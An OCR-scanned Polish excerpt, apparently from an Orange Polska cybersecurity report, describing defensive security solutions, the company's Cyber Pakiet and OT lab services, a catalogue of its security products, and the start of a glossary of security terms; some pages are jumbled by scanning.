autorskie CyberTarcza i Cyberwatch). Nie pozwalaja

one na nawigzanie potgczen z adresami IP i domenami,
ktére sg znane z tego, ze kradng informacje lub infekujg
urzadzenia. Innymi stowy sg bardzo skuteczne

w przypadku atakéw typu phishing.

Podobne zagrozenia, lecz troche inne narzedzia stosuje sie
rowniez w przypadku infrastruktury chmurowej. Wykorzystuje
sie wéwczas troche inne narzedzia. Ograniczona objetos¢
artykutu nie pozwoli juz sie zajg¢ tym zagadnieniem. Podobnie
nie bedziemy opisywac koncepciji zero trust, ktéra coraz
czesciej zaczyna byé stosowana w organizacjach, ktore
potrzebuja naprawde wysokiego poziomu bezpieczenstwa.

Ochrona urzadzen koicowych

Urzadzenia koncowe jak np. serwery, laptopy czy urzadzenia
mobilne to najczestszy cel atakdw. Przestepcy starajg

sie zidentyfikowac i wykorzysta¢ znajdujgce sie tam luki
bezpieczenstwa, co weryfikowane jest z wykorzystaniem
regularnie przeprowadzanych tzw. skanow podatnosci.

Dodatkowo przestepcy zainteresowani sg wykryciem
réznego rodzaju btedéw konfiguracyjnych pozostawionych
przez administratoréow. Stad tez kluczowe staje sie
regularne weryfikowanie, czy rozwigzania sg odpowiednio
skonfigurowane lub nie pojawiaja sie btedy zwigzane

z logika aplikacji — do tego stuza testy penetracyjne,

ktore zawierajg w sobie réwniez testy podatnosci.

Tego typu weryfikacje sa jednak swoista migawka
pokazujaca poziom bezpieczenstwa w momencie
przeprowadzania testow.

Niekiedy, jak w przypadku podatnosci Log4Shell,

zdarza sie, ze maja miejsce znaczne problemy z identyfikacja
i eliminacja luki. Wtedy, do tymczasowego zabezpieczenia
infrastruktury, mozna wykorzystywac rozwigzania typu WAF
(Web Application Firewall), ktére m.in. czesto pozwalajg

na ,wirtualne tatanie” systeméw utrudniajgc wykorzystanie luk.

Aby uchronié urzadzenie koncowe przed infekcja
szkodliwym oprogramowaniem stosuije sie réznego
rodzaju oprogramowanie antymalware. Coraz czesciej
uzupetnia sie je dodatkowo o rozwigzania EDR (Endpoint
Detection and Response), ktére szczegdtowo analizujg
wszystkie zdarzenia na chronionych stacjach. Bardzo
przyspiesza to moment wykrycia ataku i utatwia
zidentyfikowanie przyczyn.

W przypadku korzystania z urzgdzern mobilnych,

z racji m.in. wiekszej szansy na zagubienie lub stabe
zabezpieczenie, organizacje masowo korzystaja

z rozwigzan typu MDM (Mobile Device Management),
ktére pozwalajg na nadzér nad instalowanymi aplikacjami,
wymuszajg wyzszy poziom bezpieczenstwa, zapobiegaja
kopiowaniu cennych danych oraz pozwalajg

m.in. na zdalne wyczyszczenie skradzionego sprzetu.

Ochrona informacji

Najbardziej oczywistym zabezpieczeniem z tej grupy bedzie
regularnie sporzgdzana kopia zapasowa. Przechowywana
powinna by¢ w miejscu nienarazonym na te same zagrozenia
— czesto w chmurze obliczeniowej. Przydaje sie nie tylko

w przypadku awarii sprzetu, ale réwniez w sytuacji udanego
ataku ransomware. W firmach, w ktérych przetwarza sie
réznego rodzaju tajemnice (informacje prawnie chronione,
receptury, patenty, potezne ilosci danych osobowych...),
wdraza sie rozwigzania typu DLP (Data Leakage Protection),
ktore moga wykryé préby kopiowania tych danych na nosnik
USB, czy wystanie ich poza organizacje.

Coraz wiekszg warto$¢ wida¢ z zastosowania rozwigzan
chronigcych reputacje. Brak przedtuzenia waznosci
strony www, certyfikatow TLS/SSL, wyciek danych
uwierzytelniajacych, wpisanie domeny/adresu IP na liste
RBL (Realtime Blocking List) czy wykorzystywanie przez
przestepcdw stron o tudzgco podobnych nazwach potrafig
negatywnie wptynaé na postrzeganie firmy a nawet
doprowadzi¢ do powaznych incydentéw. Zostato to szerzej
opisane w ubiegtorocznym raporcie przedstawiajgc ustuge
Cyber Pakiety).

Kluczowym aspektem, ktéry nalezy jednak podkresli¢

przy okazji ochrony informacji jest zapewnienie ostroznosci
pracownikéw w ramach codziennych dziatar.. To oni moga
przypadkiem, celowo lub nie$wiadomie — zmanipulowani
przez przestepcdw, ujawni¢ cenne dokumenty. Stad tak
istotne sg szkolenia podnoszace swiadomosc potgczone
z testami socjotechnicznymi, czyli symulacjami atakow
phishingowych.

Podsumowanie

We wczesniejszych akapitach pokrotce
scharakteryzowali$my tylko kilkanascie z rodzajow
rozwigzan bezpieczenstwa, starajgc sie pokazac,

ze maja one zupetnie inne cele. Nie ma jednego
»magicznego kuferka”, ktére mozna szybko i tatwo
wdrozy¢ i zapomnie¢. W celu kompleksowego
zabezpieczenia sie przed rozmaitymi atakami konieczne
jest — niestety - wdrozenie réznych rozwigzan, bazujac
na wynikach analizy ryzyka. Jezeli uda sie je zintegrowac,
tak by wspoétpracowaty ze sobg systemowo - jako
jedna wewnetrznie spojna catos¢, wtedy mozna bedzie
zauwazalnie zwiekszy¢ poziom bezpieczenstwa
organizacji. To z kolei mozna uzyskaé korzystajac

ze wsparcia ekspertow ds. cyberbezpieczenstwa.

Wszystkie wspomniane rozwigzania, i wiele innych,

znajdziecie w ofercie Orange Polska oraz
Integrated Solutions.

Jakub Syta
Cyberbezpieczenstwo Orange Polska
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Zadbaj o bezpieczenstwo firmowej sieci
z ustuga Cyber Pakiet

Wektory cyberataku pod lupa, czy to mozliwe?
To zestaw profesjonalnych ustug, dzieki ktérym na biezaco
monitorujemy bezpieczeﬁstwo infrastru ktu ry, wykrywamy Oczywiscie. Aby przyjrze¢ sie technikom ataku, krok po kroku Orange LAB OT, stuzy réwniez do wzbogacenia naszych

. . . . . . $ledzi¢ jego przebieg, znalezé stabe punkty infrastruktury prezentacji produktowych, poszerzeniu $wiadomosci
Iuk| | pomagamy budowac bezp|eczna OrganlzaCje. sieciowej, zastosowanych technologii oraz urzadzen o cyberzagrozeniach oraz sposobom przeciwdziatania
stworzyli§my Orange LAB OT. Wszystko pod kontrola. atakom. Poznajemy réwniez doktadniej jak dziata sam
Jesli co$ nam jednak umknie mozemy zacza¢ od nowa. sterownik PLC, gtéwny element zawiadujacy procesem
OT oraz na jakie zagrozenia jest on narazony, jesli bedzie
Cyber Pa kiet Laboratorium OT widoczny od zewnatrz naszej infrastruktury OT. Przyjrzymy
sie rowniez w jaki sposob dziatajg systemy IDS/IPS oraz
Orange LAB OT tworzy nowa warto$¢ niezbedng jakie informacje sa w stanie przekaza¢ do systemoéw typu
1. Skan A 5. Wsparcie w procesie analizy podatnosci, podnoszeniu poziomu SIEM/SOC.
. oda¥noéci n eksperta cyberzapezpieczeﬁ, azdel nfrastrukiury sieclonel, @ przede Istotng funkcjonalnoscig naszego LAB OT jest mozliwos¢
P b ezpi eczenhstwa wszystkim infrastruktury OT oraz infrastruktury krytycznej. certyfikacii | testowania urzadzert | systemdw Klientow,
Znajac doktadnie mechanizm danego wektora ataku Klient bedzie mogt sprawdzic w jaki sposob zachowa
poszerzamy swojg wiedze z zakresu cyberzagrozen sig czgsC jego infrastruktury OT, jesli uzyje urzadzen
i majac plan dziatania, mozemy mitygowaé ryzyko. (urzadzen sieciowych, s:cerownikow, system,ow automatyki
Aby méc to zrealizowaé, trzeba mie¢ odpowiedni przemys’rong) i systemow cyberbezpieczenstwa przed
poligon do$wiadczalny, ktéry umozliwi nam — bez strat faktycznym jego zakupem.
biznesowych czy materialnych, uczy¢ sie i testowac o . . o
wszelkie techniki cyberataku zgodne z bazg wiedzy W przysztosci bedziemy testowac urzadzenia i systemy pod
MITRE ATT&CK® (zrédto: https://attack.mitre.org/). k?teml ich podatqog,cidna cygelrzalgrc?zen.iaaco W znacznym
@ : stopniu przyczyni sie do podniesienia wiedzy oraz poziomu
2. Ochron?_ 4. ?uqowame, . Stad pomyst na stworzenie LAB OT Orange, na bazie bezpieczenstwa infrastruktury OT naszych klientéw.
rePUtacjl swiadomosci ktérego mozemy lepiej i optymalnie prezentowac nasze
produkty z zakresu cyberbezpieczenstwa. Nasi klienci Schemat blokowy Orange LAB OT
3. Testy beda mogli przesledzi¢ dziatanie catej infrastruktury OT
: . od samego sterownika PLC az po system SCADA, ktory
penetracyjne prezentuje dziatanie procesu OT. Na kazdym etapie bu- LAB Orange OT
dowy czy rozbudowy systemu automatyki przemystowej
bedziemy mogli zobaczy¢ dziatanie urzadzen automatyki . ¥
oraz wspomagajacej ja infrastruktury komunikacyjne;j. l D
Pokazemy i przesledzimy pakiety sieciowe jakimi e 4
~ Ztozonos$é systemow teleinformatycznych wptywa na powstawanie btedéw. Dzigki regularnym skanom wskazemy te wymieniajg sie urzadzenia automatyki przemystowej, | Wwwm """""" y o
1. Skany podatnosci ;‘ luki i btedy konfiguracyjne w Twojej infrastrukturze, ktére z duzym prawdopodobieristwem mogg zosta¢ wykorzystane bedziemy mieli pod lupa kazdy pakiet sieciowy. Wiedza Uitndienle cnontomne w sl SRSA TS, =
podczas cyberatakow. o tym co stychac w sieci jest niezbedna do identyfikacji T~

wszelkich cyberzagrozen.
Dziatalno$¢ cyberprzestepcéw, a nawet zwykte btedy w zakresie nadzoru nad systemami IT mogg wptyngaé
na wizerunek Twojej organizacji. Narzedzia opracowane przez ekspertéw CERT Orange Polska beda monitorowac, J ak to d Zi a } a
czy nie wydarzyto sie cos istotnego, na co powinienes$ zareagowac. |

2. Ochrona reputacji

Srata RACK 420

5 . K bardao skamaiik et whamanie sio do Twaiel infrastrukturv fraeba mélod ik ovb . Dzieki naszemu LAB OT mozemy zaprezentowad 'I [ ee] i ==

3. Testy DY sprawdzIC, jak bardzo skomplikowane Jest wiamanie sig do Twoje Inirastruiktury, trzeba mysiec jJak cyberprzestepca dziatanie naszych topowych produktéw z zakresu o i
. i stosowac odpowiednie techniki. Etyczni hakerzy pracujacy dla CERT Orange Polska sprawdza bezpieczeristwo . , . X e
penetracyjne cyberbezpieczenstwa, zgodnie z grafika ponizej:

wskazanych przez Ciebie najbardziej istotnych webaplikacji lub innych elementéw infrastruktury.
Zapraszam do Orange LAB OT.

Cyberprzestepcy stosuja na co dzien szereg technik majacych na celu oszukanie swoich ofiar. Nauczymy Cie,
jak je rozpoznawac i jak na nie reagowac. W ramach testéw sami mozemy wcieli¢ sie w role atakujacych i potwierdzic, Andrze j Maciejak
w jakim stopniu Twoi pracownicy sg podatni na ataki inzynierii spotecznej. . .
. * = U v i ! Cyberbezpieczenstwo Orange Polska

4. Budowanie
swiadomosci

© [§ oo

Wiele awarii, atakéw i btedéw ma swoje zrédta w tym, jak nadzoruje sie systemy informatyczne w Twojej organizaciji. :

5. Wsparcie eksperta Nasi eksperci dokonaja przegladu zarzadzania bezpieczeristwem informaciji oraz beda Ci doradza¢ w zakresie Secure Separation OT/IT -
bezpieczenstwa planowania i prowadzenia programoéw bezpieczenistwa, identyfikacji ryzyka, tworzenia wymagarn bezpieczenstwa, Level 4
i A a1 i stugi Profesjonalne &
utwardzania proceséw, a nawet zarzadzania incydentami. [ seowosepraonoyr | —| Rl

R Unidirection Gateway

Level 3 Operational management

Live Objects lloT

Oferta dodatkowa: specjalne Cyber Pakiety dla bankéw, SKOK-6w i gmin sl st

Level 2 Smart Water lloT
Czesé Orange Polska swewesepmaionorit | SAAISTOAE

Levell Systemy IDS/IPS Il

¢ OT Data Analyzer (r/»/IL/AI, DPI) controller I

ot L S
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Ustugi cyberbezpieczenstwa Orange Polska

Ochrona przed DoS i DDOS (ustugi DDoS Protection i Orange

Internet Protection)

To kompletne rozwigzania chronigce klienta przed wolumetrycznymi atakami typu ,,odmowa ustugi”,) w tym ochrona zasobéw
internetowych. Zapewniajg monitorowanie w sposoéb ciagty ruchu sieciowego i redukcje negatywnych skutkéw atakéw. Ruch
charakterystyczny dla ataku DDoS jest odfiltrowany na poziomie operatora przed wpuszczeniem go do infrastruktury klienta.

Dodatkowo ustugi sg wspierane przez mechanizmy FlowSpec pozwalajgce na mitygacje atakow o bardzo duzej wielkosci.

Korzysci:

m Zapewnienie dostepnosci ustug w internecie

1 Zapewnienie ciagtosci dziatania kluczowych proceséw biznesowych.

B Ograniczenie ryzyka utraty wizerunku firmy, zwiazanego z niedostepnoscia serwiséw
informacyjnych /biznesowych w sieci internet.

u Dostepnos¢ w trybie 24/7/365 zespotu ekspertow Security Operations Center (opcja DDoS
Protection Premium).

m staty monitoring ruchu i identyfikacja wystapienia zagrozen

¥ Gwarancja podjecia w bardzo krétkim czasie skutecznej reakcji na zagrozenie.

¥ Wiasciwa identyfikacja incydentow, eliminacja fatszywych alertéw i blokowania ruchu,
ktéry nie jest atakiem (opcja DDoS Protection Premium).

Ochrona przed atakami DDoS

Zwieksza bezpieczenstwo korzystania z internetu bez koniecznosci instalowania urzadzenia w lokalizacjach klienta.
ONS to Next Generation Firewall zainstalowany w sieci Orange Polska o szerokim zakresie funkcjonalnosci poczgwszy
od Firewall po kontrole aplikacji.

Korzysci:

m Bezpieczenstwo
e bezpieczny dostep do internetu
e scentralizowana polityka bezpieczenstwa dla wszystkich chronionych lokalizacji
e ataki odpierane w ramach sieci Orange przed dotarciem do sieci klienta
e zapewnienie nieprzerwanego dziatania ustugi
m Oszczednosci
e brak koniecznosci inwestycji w sprzet klienta
e optymalizacja kosztoéw poprzez kombinacje ustug Internet, VPN oraz Security
o zwiekszanie wydajnosci ustugi i aktualizacje - bez koniecznosci zakupu kolejnego urzadzenia

Zarzadzany UTM

Ustuga wykorzystujgca koncepcje Unified Threat Management, oparta na urzadzeniach wielofunkcyjnych Next Generation
Firewall, zainstalowanych w lokalizacji klienta zarzgdzanych przez Orange lub przez klienta. Orange buduje ustuge opartg
na produktach Fortinet i Check Point.

Korzysci:

H Prostota
o jedno urzadzenie wiele funkcjonalnosci bezpieczenstwa
B Oszczednosci
o brak koniecznosci inwestycji w zakup produktu
o optymalizacja kosztéw poprzez kombinacje ustug Internet, VPN, Security, SD-WAN
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u Bezpieczenstwo
o szeroki zakres funkcjonalnosci od Firewall po kontrole aplikacji
e minimalizacja ryzyk biznesowych poprzez ochrone zasobow klienta przed réznego typu atakami sieciowymi

Ustuga zapobiega niedostepnosci DNS poprzez geograficzne rozproszenie zapytan od uzytkownikéw internetu. Korzysta z
ponad 40 weztéw zarowno w Polsce i $wiecie. Zapytania uzytkownikdw trafiajg zawsze do najblizszego geograficznie (sie-

ciowo) serwera DNS. Odpowiedzi przychodza maksymalnie szybko, po najkrétszej mozliwej trasie, bez opdznien. Ustugi sa
dostepne nawet w przypadku awarii.

Korzysci:

m Bezpieczenstwo i stabilno$¢ ustug poprzez przeniesienie serwerow DNS poza wtasna strukture
m Niezawodnos¢ i dostepnosé ustugi DNS

B Szybkos$¢ dziatania

B Optymalizacja kosztow poprzez mozliwos¢ likwidacji serwerow DNS w infrastrukturze klienta
B katwos¢ uzycia i szybka konfiguracja

email Protection

Zapewnia ochrone przychodzacej i wychodzacej komunikacji mailowej klienta. Wykorzystuje gotowa platforme
w sieci Orange Polska.

Korzysci:
m ochrona informacji przekazywanych droga elektroniczna

¥ rozwiagzanie nie wymaga inwestycji w infrastrukture po stronie klienta,
B wykorzystanie dodatkowych narzedzi typu cloud-sandbox, virus-outbreak module

StopPhishing

Polega na detekc;ji i analizie zagrozenia oraz blokadzie dostepu do strony phishingowej dla wszystkich uzytkownikéw sieci
Orange. Klient jest informowany o zidentyfikowaniu zagrozenia.

Korzysci:
m monitorowanie i reagowanie na zagrozenia 24/7/365

B informacja o incydentach i analizach
¥ ochrona wizerunku klienta

Web Application Protection

Ochrona zasobéw klienta przed atakami aplikacyjnymi. Caty ruch http/https z internetu do chronionych zasobéw zostaje prze-
kierowany na platforme ustugowg WAF i poddany analizie zgodnie ze zdefiniowang politykg bezpieczenstwa.

Korzysci:

m Zapewnienie bezpieczenstwa informaciji, aplikacji webowych i proceséw biznesowych

H Staty monitoring ruchu i identyfikacja zagrozen

B Wsparcie specjalistow z Security Operations Center dostepne w trybie 24/7/365

B Natychmiastowe odparcie ataku od infrastruktury klienta

= Brak koniecznosci inwestowania w odpowiednia infrastrukture i elastyczny model rozliczania
B Optymalizacja kosztow- brak wydatkow na zakup platformy sprzetowej
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MDM Mobile

Rozwigzanie do zabezpieczenia, monitorowania oraz zarzadzania flotg urzgdzen mobilnych (np. telefondw, tabletéw, laptopow
oraz smartwatchy).

Device Management

Korzysci:

B Centralne zarzadzanie urzadzaniami mobilnymi w firmie

m Standaryzacja konfiguracji urzadzen

B Wzrost bezpieczenstwa danych firmowych

B Zdalne wsparcie pracownikow w codziennej pracy

B Zabezpieczenie urzadzen na wypadek kradziezy czy zgubienia

CyberTarcza

Zapewnia ochrone przed malwarem, phishingiem, umozliwia tworzenie personalizowanych profili bezpieczenstwa i blokowanie
stron w wybranej kategorii oraz raporty z zablokowanych stron i atakéw. Dostosowuje ochrone do potrzeb uzytkownika np.
rodzic moze chroni¢ dzieci przed dostepem do nieodpowiednich dla nich tresci, a pracodawca decydowaé, do jakich ser-
wisO6w moga mie¢ dostep pracownicy na stuzbowych komputerach czy smartfonach.

Korzysci:
B Portal umozliwiajacy sprawdzenie poziomu bezpieczenstwa domowej lub firmowej sieci

B Ochrona przed cyberzagrozeniami typu APT i zero-day
B Brak koniecznosci inwestowania w urzadzenia zabezpieczajace ustugi

B Ochrona przed niefrasobliwoscia pracownikow

CyberWatch

Ochrona urzadzen i informowanie o wykrytych prébach komunikacji ze stronami stanowiacymi zagrozenie dla ich firmowej sieci.

Korzysci:

H Identyfikacja zainfekowanych urzadzen korzystajacych z sieci Orange,

Blokowanie podejrzanego ruchu sieciowego z urzadzen stacjonarnych i mobilnych,
B Codzienny raport o wystapieniu zagrozen,
B Zapobieganie wyciekowi firmowych danych

Next Generation SOC

Catodobowy monitoring bezpieczenstwa proceséw biznesowych, analiza i reakcja na wykryte incydenty bezpieczenstwa.
kaczy kompetencji zespotu ekspertéw SOC Orange z procesami automatyzacji oraz specjalizowanym systemem klasy SIEM.

Elementy oferty - Next Generation SOC

SOC (Security Operations Center) — catodobowe centrum monitorowania cyberbezpieczenstwa i analizy zdarzen. Dostepne
w ramach ustugi jako pierwsza linia (L1) lub pierwsza i druga linia (L1+L2)

SIEM (Security Information and Event Management) - to platforma z zaimplementowanym systemem filtréw, ktérej zadani-
em jest agregacja i korelacja danych, zarzadzanie informacjg i zdarzeniami bezpieczenstwa. Poprzez wczesne wykrywanie
naduzy¢ i incydentéw zwieksza bezpieczenstwo informacji oraz infrastruktury.

SOAR (Security Orchestration, Automation and Response) - platforma automatyzacji bezpieczenstwa oraz odpowiedzi na

incydent, ktérej gtéwnag funkcjonalnos$cig jest automatyzacja reakcji na zdarzenia bezpieczenstwa. Poprawia skutecznosci,
wydajnos¢ i spojnoscé dziatan w zakresie bezpieczenstwa.
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Korzysci:

m Zapewnienie bezpieczenstwa procesow biznesowych poprzez:
e ciagly nadzor nad bezpieczenstwem organizacji - procesow i systemow biznesowych - w trybie 24/7/365
e natychmiastowe reagowanie na zagrozenia oraz incydenty bezpieczenstwa
¢ analizowanie incydentow
¢ informowanie i raportowanie na poziomie operacyjnym
m Elastyczno$¢ w odniesieniu do potrzeb biznesowych klienta - podej$cie projektowe
= Utrzymywanie kompetenciji po stronie Orange
m Optymalizacja naktadoéw inwestycyjnych i czasu zwigzanego z budowa wtasnego SOC
m Dbatos¢ o reputacje klienta
e budowanie Swiadomosci zagrozen w sieci
m Zarzadzanie bezpieczenstwem Operational Technology / Industry of Things

SOC Lite

Odcigza firmy od analizy setek zdarzen wystepujgcych w ich sieciach. Gdy pojawia sie grozny incydent, klient niezwtocznie dostaje
od Orange czytelne powiadomienie z rekomendacjg co nalezy zrobi¢. Tym samym administratorzy klienta, ktérzy odpowiadajg za
ochrone infrastruktury moga sobie pozwoli¢ na komfort spokojniejszej pracy. Orange monitoruje i reaguje na cyberzagrozenia, 24/7/365.

Korzysci:

= Realizuje najbardziej pracochtonne dziatania ograniczajgc koszty klienta

B W petni zautomatyzowane rozwigzanie, faczace monitorowane, analize i informacje, Kontrola bezpieczenstwa
bez koniecznosci duzych inwestyciji.

m Rozwigzanie elastyczne, ktére mozna udoskonalaé np. wprowadzajgc wiedze z nowych baz reputacyjnych

Feed as a Service

Dostarcza informacje o zaobserwowanej w sieci Orange ztosliwej aktywnosci. Uzyskane dane moga postuzy¢ do zasilenia
systemow zabezpieczen utrzymywanych przez klienta i w efekcie pozwoli¢ na proaktywne zapobieganie atakom.

Korzysci:

B Informacje o zagrozeniach zidentyfikowanych w sieci Orange Polska, stuzace do zasilenia dodatkowymi
danymi systemow zabezpieczen klienta

B Ochrona i podniesienie poziomu bezpieczenstwa systeméw oraz uzytkownikéw ustug

= Aktywne ograniczenie mozliwosci infekcji, aktywacii i eksfiltracji danych przez ztosliwe oprogramowanie

Testy penetracyjne

Analiza wskazanych przez klienta stron www i/lub infrastruktury IT pod katem wystepowania potencjalnych btedéw
bezpieczenstwa spowodowanych niewtasciwg konfiguracjg badz pozostawieniem niezatatanych podatnosci.

Korzysci:

m Weryfikacja zabezpieczen systemdw informatycznych

m Identyfikacja stabych punktéw infrastruktury IT, stanowigcych potencjalny cel ataku cyberprzestepcow,

m Ocena bezpieczenstwa, mierzaca poufnosc, integralno$é i dostepnos¢ systemoéw biznesowych,

m Analiza i oszacowanie ryzyka zwigzanego z podatnoscia na zagrozenia i lukami w zabezpieczeniach
oraz rekomendacje zmian.

Testy wydajnosSciowe

Testowanie wydajnosci stron www oraz badanie odpornosci infrastruktury klienta na ataki typu DDoS, poprzez
przeprowadzenie symulowanych atakow.
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Korzyse: :':INTEGRATED

B Szybka ocena zabezpieczen i wydajnosci Rekomendacje eksperckie S O L U T I O N S
m Obiektywna i niezalezna ocena rzeczywistego poziomu bezpieczenstwa systemow. . .

Testy socjotechniczne

Symulacja ataku phishingowego, ktéra sprawdzi czujnosc¢ i $wiadomos$¢ pracownikdw w zakresie zagrozen ze strony

Partner cyfrowych rozwigzan

Korzysci:

[ [ |
Security portfolio
B Poprawa odpornosci firmy na zagrozenia

M Zwiekszanie $wiadomosci cyberzagrozen

Cyber Pakiet

Zestaw profesjonalnych ustug, dzieki ktérym na biezgco monitorujemy bezpieczenstwo infrastruktury klienta, oparty na pieciu filarach: RN\

B Skany podatnosci ° ]
H Ochrona reputaciji
B Testy penetracyjne

Eo
ﬁ
| BUdoWanie SWiadO IIOSCi

" Wsparcie eksperta bezpieczeristwa Network IT Infrastructure Endpoint

. . Security & Application Security
Przeglady i Doradztwo SZBI (System Zarzadzania Security

7

Bezpieczenstwem Informaciji)

Przeglad i ocena proceséw bezpieczenstwa informacji pod katem ich zgodnosci z normami i przepisami prawa i/lub doradz- a PY
twie i wsparciu przy zabezpieczaniu proceséw zwigzanych z przetwarzaniem informaciji. ? 1 L4
Prace sg wykonywane w oparciu o zgodnos¢ z przepisami i/lub normami np. ISO 27001, ISO 22301, ustawg o Krajowym Sys- © w— ® ®
temie Cyberbezpieczenstwa, RODO, Rekomendacija D (KNF). ) OGTRO
Korzysci: .
Data GDPR Security
eIl o _ _ o ) Leakage Compliance Analysis
® Zapewnienie zgodnosci z przepisami prawnymi w zakresie przegladéw bezpieczenstwa informaciji .
e Wykazanie zgodnosci i niezgodnosci z prawem, standardami i normami Prevention & Management

e Analiza oraz kategoryzacja wskazanych odstepstw i niezgodnosci
e Zwiekszenie $wiadomosci wystepowania luk i wynikajgcych z nich zagrozen
® Rekomendacje

= Doradztwo w zakresie zarzadzania bezpieczennstwem
e \Wsparcie informacyjne i analityczne 9@? 7
® Pomoc przy wprowadzaniu zmian o-lTy'—o l_?

e Doradztwo

Pozostate produkty: AntiMalware Cloud loT

protection Security Security

H ESET - wielowarstwowa ochrona komputeréw, urzadzer mobilnych oraz serwerdw przed ztosliwym
oprogramowaniem oraz atakami cyberprzestepcow,

B Safetica ONE - rozwigzanie do ochrony przez wyciekiem kluczowych danych z firmy poprzez
np. wiadomosci mailowe, dyski chmurowe, nosniki wymienne czy wydruk.

www.integratedsolutions.pl
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Glosariusz

0-day — exploit, ktéry pojawia sie natychmiast po
informacji o podatnosci, dla ktorej nie zostata jeszcze
przygotowana poprawka.

2FA (ang. Two-factor authentication) - mechanizm
umozliwiajgcy zastosowanie dwusktadnikowego (lub
dwuetapowego) procesu uwierzytelniania. Poza standardowg
parg danych potwierdzajgca tozsamos¢ w systemach

(np. nazwa uzytkownika i hasto), mechanizm ten [pozwala

na wykorzystanie dodatkowej informacji przesytanej np.
wiadomoscig SMS lub uzycia urzgdzenia potwierdzajgcego
tozsamos$¢ np. tokenu czy smartfonu generujgcego jednora-
zowy kod (Microsoft / Google Authenticator). Z tego mecha-
nizmu mozna korzysta¢ w najbardziej popularnych serwisach
spotecznosciowych.

aaS (ang. as a service) — ,jako ustuga”; skrét odnosi sie

do modelu udostepniania zasobéw ustugodawcy klientowi

w postaci ustugi. Taki model pozwala na uniknigcie wielu
kosztownych inwestycji w sprzet. Mozna wymieni¢ tu kilka
najpopularniejszych stosowanych modeli: laaS (Infrastructure
as a Service), SaaS (Software/Security as a Service), NaaS
(Network as a Service), MaaS (Malware as a Service) czy
Xaa$S (rozwigzanie nazwy ustugi zostawiamy czytelnikom).

Abuse — naduzycie; wykorzystanie niektdrych mozliwosci
sieci internet niezgodnie z przeznaczeniem lub prawem.
W internecie do naduzy¢ zalicza sie m.in. ataki sieciowe,
rozsytanie spamu, wiruséw, nielegalnych tresci, phishing,
itp. Zespdt typu Abuse to jednostka odpowiedzialna

za przyjmowanie i rozpatrywanie zgtoszen dotyczacych
tego typu naduzyc.

Adres IPv4 (ang. IP address) — unikalny adres dla kazdego
urzadzenia w danej sieci (LAN, WAN czy Internet),
pozwalajacy jednoznaczng identyfikacje urzadzenia

(trasy) w sieci na potrzeby routingu.

Adware (ang. advertising-supported software)

- oprogramowanie, ktérego podstawowym zadaniem

jest wyswietlanie reklam na urzgdzeniu uzytkownika.
Czesto jest instalowane jako komponent podczas instalacji
innego oprogramowania. Czesto rowniez jest dodawane
do darmowego oprogramowania i instalowane bez wiedzy

i zgody uzytkownika. Ten typ oprogramowania moze
wyswietla¢ tresci zawierajgce ztosliwy kod — patrz Spyware.

Automatyzacija (definicja zaproponowana przez PWN) -
stosowanie urzadzen do zbierania i przetwarzania informacjj,
przejmujgcych pewne dziatania poznawcze, intelektualne

i decyzyjne cztowieka, wykonywane dotad przez niego w
trakcie uzytkowania obiektu (np. obrabiarki, samolotu, banku)
lub w trakcie prac twérczych (np. projektowania, uczenia).

Backdoor - ,tylne drzwi”; luka w zabezpieczeniach systemu
komputerowego, utworzona umysinie, w celu pdzniejszego
dostepu do systemu. Intruz moze utworzy¢ backdoora,
wiamujgc sie poprzez inng luke w oprogramowaniu lub
wykorzystujgc uruchomienie trojana przez uzytkownika.
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Blackholing (ang. Blackhole -czarna dziura) — adresy
IP w sieci internet, w ktorych ruch sieciowy jest
neutralizowany, bez informowania adresata lub nadawcy.

Bot (od ang. robot) — zainfekowany i przejety komputer,
wykonujacy polecenia atakujacego.

Botnet - sie¢ potgczonych botoéw, zdalnie kontrolowana
przez atakujgcego. Botnety wykorzystywane sag najczesciej
do zmasowanych atakéw typu DDoS lub rozsytania spamu.

C&C (ang. Command and Control) servers — infrastruktura
serwerdw zarzadzana przez cyberprzestepcdw, wykorzysty-
wana do zdalnego wysytania polecen i kontroli botnetow.

CERT/CSIRT (ang. Computer Emergency Response Team,
Computer Security Incident Response Team) — zespot
reagowania na zagrozenia komputerowe. Gtéwnym zadaniem
zespotu jest szybka reakcja na zgtaszane przypadki zagrozeni
naruszen bezpieczenstwa sieciowego. Prawo do uzywania
nazwy CERT majg wytacznie zespoty, spetiajgce bardzo
wysokie wymagania potwierdzone uzyskaniem stosownego
certyfikatu tak, jak zespot CERT Orange Polska.

Certstream — serwis umozliwiajgcy $ledzenie w czasie
rzeczywistym logéw udostepnianych przez wystawcow
certyfikatéw. Dzieki niemu mozliwy podglad zdarzen
zwigzanych z nowymi i odnawianymi certyfikatami

np. dla stron internetowych.

CLI (Caller ID) spoofing polega na prezentowaniu odbiorcy
potaczenia gtosowego fatszywego numeru telefonicznego
osoby dzwonigce;j.

CyberTarcza - autorskie rozwigzanie Orange Polska, ktore
chroni klientéw sieci stacjonarnej oraz mobilnej przez
skutkami aktywnosci wrogiej aktywnosci w sieci Internet (np.
phishingu czy ztosliwego oprogramowania).

DDoS (ang. Distributed Denial of Service) — rozproszony

atak odmowy ustugi; atak sieciowy, polegajacy na wystaniu
do atakowanego systemu takiej ilosci danych, ktérych system
ten nie bedzie w stanie obstuzyé. Celem ataku jest blokada
dostepnosci zasobow sieciowych. W przypadku DDoS do
ataku wykorzystywanych jest wiele komputeréw i potgczen
sieciowych, co odrdznia go od ataku DoS, ktory korzysta

z jednego komputera i jednego potaczenia internetowego.

DNS (ang. Domain Name System) - system nazw
domenowych; protokét przypisywania stownych nazw
cyfrowym adresom IP. System ten zostat stworzony

dla wygody uzytkownikow internetu. Sie¢ internet dziata

w oparciu o adresy IP, a nie nazwy domen, dlatego wymaga
systemu DNS do odwzorowywania nazw domen w adresy IP.

DNS sinkhole — serwer DNS, ktéry przekazuje fatszywe
informacje, uniemozliwiajgc potgczenie z docelowa strong
internetowa. Wykorzystywany do detekcji oraz blokowania
ztosliwego ruchu w sieci.

Domena internetowa (ang. Internet domain name)

— przestrzenh adreséw (zasobdw) zwigzanych z dang
organizacja. Nazwa domeny jest elementem uzywanym
np. przy konstruowaniu adreséw URL do identyfikacji
zasobow (serwiséw) nalezgcych do danej organizacji.
Przyktadem moze by¢ domena orange.pl, w ktorej
dostepne sg zasoby zwigzane z tg domena, jak serwis
internetowy dla klientéw Orange Polska -- www.orange.pl.

Exploit — program, ktéry umozliwia przejecie kontroli
nad systemem komputerowym, wykorzystujac rézne
luki w programach i systemach operacyjnych.

Exploit kit — rodzaj oprogramowania, uruchamianego
na serwerach sieciowych i stuzacego do wykrywania
luk w zabezpieczeniach.

Firewall — zapora sieciowa; oprogramowanie
